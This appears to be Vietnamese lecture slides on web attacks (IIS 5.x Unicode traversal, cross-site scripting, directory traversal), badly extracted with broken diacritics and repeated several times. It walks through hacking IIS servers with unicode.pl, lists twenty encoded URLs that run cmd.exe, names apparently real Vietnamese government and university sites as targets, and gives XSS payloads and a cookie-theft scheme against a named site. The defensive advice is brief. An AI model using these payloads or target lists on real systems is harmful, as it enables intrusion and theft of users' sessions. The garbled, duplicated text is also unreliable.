Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
